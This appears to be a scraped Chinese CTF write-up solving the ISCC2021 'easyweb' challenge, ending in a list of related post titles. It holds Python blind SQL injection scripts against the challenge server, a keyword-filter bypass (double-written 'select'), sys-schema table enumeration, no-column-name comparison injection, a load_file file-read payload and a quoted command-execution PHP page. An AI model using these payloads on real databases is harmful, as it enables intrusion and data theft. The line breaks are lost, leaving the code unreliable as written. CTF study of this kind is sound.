iscc2021 easyweb
iscc2021 easyweb
考点:无列名sql盲注
payload:
import requestsurl = "http://39.96.91.106:5001/?id="result = ""
i = 0while (True):i = i + 1head = 32tail = 127while (head < tail):mid = (head + tail) >> 1payload = "1'and!!!!if(ascii(substr(database(),{},1))>{},1,0)%23".format(i,mid)#iscc_web#payload = "1'and!!!!if(ascii(substr(version(),{},1))>{},1,0)%23".format(i,mid) 5.7.33-0ubuntu0.16.04.1r = requests.get(url + payload)r.encoding = "utf-8"# print(url+payload)if "Your Login name" in r.text:head = mid + 1else:# print(r.text)tail = midlast = resultif head != 32:result += chr(head)else:breakprint(result)
但是发现过滤了or
,所以无法使用information_schema
数据库来爆破库、表、列、数据了,查看版本,5.7.33,存在sys
数据库
所以可以利用sys
数据库查出表名,这里很坑的就是它把select
过滤了,但是他不告诉你,回显不是die
,而是正常返回值,需要使用双写绕过seselectlect
import requestsurl = "http://39.96.91.106:5001/?id="result = ""
i = 0while (True):i = i + 1head = 32tail = 127while (head < tail):mid = (head + tail) >> 1payload = "0%27||if(ascii(substr((seselectlect%0dgroup_concat(table_name)%0dfrom%0dsys.schema_table_statistics_with_buffer%0dwhere%0dtable_schema=database()),{},1))>{},1,0)%23".format(i,mid)#easyweb,iscc_flagr = requests.get(url + payload)r.encoding = "utf-8"# print(url+payload)if "Your Login name" in r.text:head = mid + 1else:# print(r.text)tail = midlast = resultif head != 32:result += chr(head)else:breakprint(result)
然后就是无列名盲注了
我想用0%27||if(ascii(substr((seselectlect*from%0d(seselectlect%0d*%0dfrom%0discc_flag%0das%0da%0djoin%0discc_flag%0db)c),1,1))>1,1,0)%23
注入,但是发现好像不行,
无列名盲注如下:
核心payload如下
id="1'and((select 1,{})>(select * from(iscc_flag)))%23".format(hexchar)
假设 flag 为 flag {bbbbb},对于 payload 这个两个 select 查询的比较,是按位比较的,即先比第一位,如果相等则比第二位,以此类推;在某一位上,如果前者的 ASCII 大,不管总长度如何,ASCII 大的则大,
在这样的按位比较过程中,因为在里层的 for()
循环,字典顺序是从ASCII
码小到大来枚举并比较的,假设正确值为b
,那么字典跑到b 的时候b=b
不满足payload
的大于号,只能继续下一轮循环,c>b
此时满足了,题目返回真,这个时候就需要记录flag
的值了,但是此时这一位的char
是c
,而真正的flag
的这一位应该是b
才对,所以flag += chr(char-1)
,这就是为什么在存flag
时候要往前偏移一位的原因,payload如下:
import requests
url = 'http://39.96.91.106:5001/?id='def trans(flag):res = ''for i in flag:res += hex(ord(i))res = '0x' + res.replace('0x','')return resflag = ''
for i in range(1,500): #这循环一定要大 不然flag长的话跑不完hexchar = ''for char in range(32, 126):hexchar = trans(flag+ chr(char))payload = "0'||((seselectlect%0d1,{})>(seselectlect%0d*%0dfrom%0discc_flag))%23".format(hexchar)r = requests.get(url+payload)text = r.textif 'Your Login name' in r.text:flag += chr(char-1)print(flag)break
hex()
操作,这是因为 MySQL 遇到 hex 会自动转成字符串
得到CCCMD.PHP
<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(preg_match("/[zxcvbMnlkjhgfsaoiuytreq]+|[ZXCVBNLKKJHGFSAOIUYTREQ]+|[0123456789]+|\(|\/|\*|\-|\+|\.|\{|\}|\[|\]|\'|\"|\?|\>|\<|\,|\)|\(|\&|\^|\%|\#|\@|\!/", $c)){exit("die!!");}else{echo `$c`;}
}else{highlight_file(__FILE__);
}
?>
<!--flllllllllaaag.php-->
这里发现好像不能执行命令,但是我们SQL语句也可以使用load_file
读取文件内容,试一试,没被过滤
执行pwd
命令,得到当前路径/var/www/const
脚本如下:
import requestsurl = "http://39.96.91.106:5001/?id="result = ""
i = 0while (True):i = i + 1head = 32tail = 127while (head < tail):mid = (head + tail) >> 1payload = "0%27||if(ascii(substr((seselectlect%0dhex(load_file(0x2f7661722f7777772f636f6e73742f666c6c6c6c6c6c6c6c6c616161672e706870))),{},1))>{},1,0)%23".format(i,mid)r = requests.get(url + payload)r.encoding = "utf-8"# print(url+payload)if "Your Login name" in r.text:head = mid + 1else:# print(r.text)tail = midlast = resultif head != 32:result += chr(head)else:breakprint(result)
得到:
3C3F7068700D0A24666C61673D22697363637B65656565656173795F77656221213636363636367D223B0D0A3F3E
16进制解密,得到:
<?php
$flag="iscc{eeeeeasy_web!!666666}";
?>
iscc2021 easyweb相关推荐
- ISCC2021 美人计
一张图,一个文档 图片进入winhex 是AES,秘钥是 ISCC2021 文档里面的二维码扫描 U2FsdGVkX1/Ka+sScszwQkwhO+VLiJwV/6IFg5W+TfNHGxG2qZs ...
- CTF训练计划—[CISCN2019]Easyweb
前言: 这道题学到不少知识,还卡了很长时间,单独记录一下 [CISCN2019]Easyweb 首先拿到一个登陆框,从这里就要思考是要怎么去做,我在做的时候想到三个方面去尝试 burp抓包看有什么线索 ...
- ISCC2021——web部分
练武 ISCC客服冲冲冲(一) 该题目需要左边的客服票数高于右边的 我会的就两种方法,毕竟是废物嘛,允许 1. 把左右按钮换一下 然后就 2.在控制台输入 回车,走你 你涨啊,涨啊,接着涨啊-没吃饭吗 ...
- ISCC2021 Web WP
目录 练武 ISCC客服冲冲冲(一) 这是啥 正则匹配最后的倔强. 登录 which is the true iscc ISCC客服一号冲冲冲(二) lovely ssti 擂台 tornado ea ...
- Easyweb包括iframe中的页面跳转
文档地址:常用实例 · EasyWeb开发文档 · 看云 跳转新页面:window.open("test.html"); 本窗口跳转:window.location.assign( ...
- [CISCN2019 总决赛 Day2 Web1]Easyweb 1
[CISCN2019 总决赛 Day2 Web1]Easyweb 1 0x00 前言 就这道题而言,并没有单一的考察某一个知识点,而是将我们前面的 sql和upload等一些知识结合起来. 0x01 ...
- ISCC2021个人挑战赛和擂台赛部分writeup
文章目录 pwn M78 game box 碰碰碰 RE garden Analysis Ron's Code 汇编大人,时代变了 mob Mobile Easy Mobile Normal MISC ...
- ✿ISCC2021✿题目以及部分wp
文章目录 ISCC 部分web.杂项wp WEB ISCC客服一号冲冲冲(一) 这是啥 Web01 ISCC客服一号冲冲冲(二) 登录 misc 李华的红包 Retrieve_the_passcode ...
- ISCC2021 MISC wp
ISCC2021 MISC wp 文章目录 ISCC2021 MISC wp 练武题 0x00 Retrieve the passcode 0x01 海市蜃楼-1 0x02 李华的红包 0x03 美人 ...
- buu-[CISCN2019 总决赛 Day2 Web1]Easyweb
扫!(或者靠经验先试) /robots.txt 看源码发现已知的php只有user.php/image.php/index.php 然后在image.php.bak里找到源码 <?php inc ...
最新文章
- sm4加密 解密(oc)
- Spring 3整合Quartz 2实现定时任务--转
- .net core 中通过 PostConfigure 验证 Options 参数
- 子模板继承父模板示例_模板设计模式示例
- linux下kill某个应用
- 熊猫的python小课账号_学习python中的pandas有没有好的教程推荐?
- Redhat 5.4 安装vsftp
- 校园信息发布平台网站源码
- Unity接入海康威视门禁(获取门禁状态信息、门禁反控等)
- PCM音频压缩A-Law算法,uLaw
- 巴塞尔iii_巴塞尔协议——银行风控实施的超级系统工程 之二
- 华电研究生学习和工作总结(2021.11.08-2021.11.12)-围城
- 霓虹灯仍然肆无忌惮的绽放着它的妖艳
- 联想小新增加固态硬盘后安装不了系统_固态硬盘装双系统不成功,装第二个系统时提示 windows没法完成安装,安装将在重启计算机后继续。...
- phpsocket客户端以及服务器例子
- vue-pdf使用+分页预览(踩坑 + 使用本地字体库)
- 字符串乘以数字python_将字符串乘以数字!
- 如何通过浏览器访问家里电脑
- 微信玩转开发板-微信控制智能家居简易模型
- 如何酷酷的找回迅雷私人空间的密码
热门文章
- ogg格式怎样才能转换成MP3格式
- 硬核教程 - 使用Rust编写网游FPS外挂辅助
- gan怎么输入一维数据_GAN网络,利用gan网络完成对一维数据点的生成
- 6-5 统计二叉树叶子结点个数 (10 分)(C语言版)
- NI Teststand 2014 64bit 调用python脚本指南
- 现代科技概论_现代科技概论课程:科学技术史2
- Linux常用编程工具
- win10 系统字体大小修改
- html5打印样式没有加载,cad打印样式不见了(cad没有打印样式表)
- 电力系统建模与仿真, 地理接线图,配电图,电力系统组态与监控,电力调度,自动控制,VBScript脚本控制,JavaScript脚本控制, 潮流分析2018...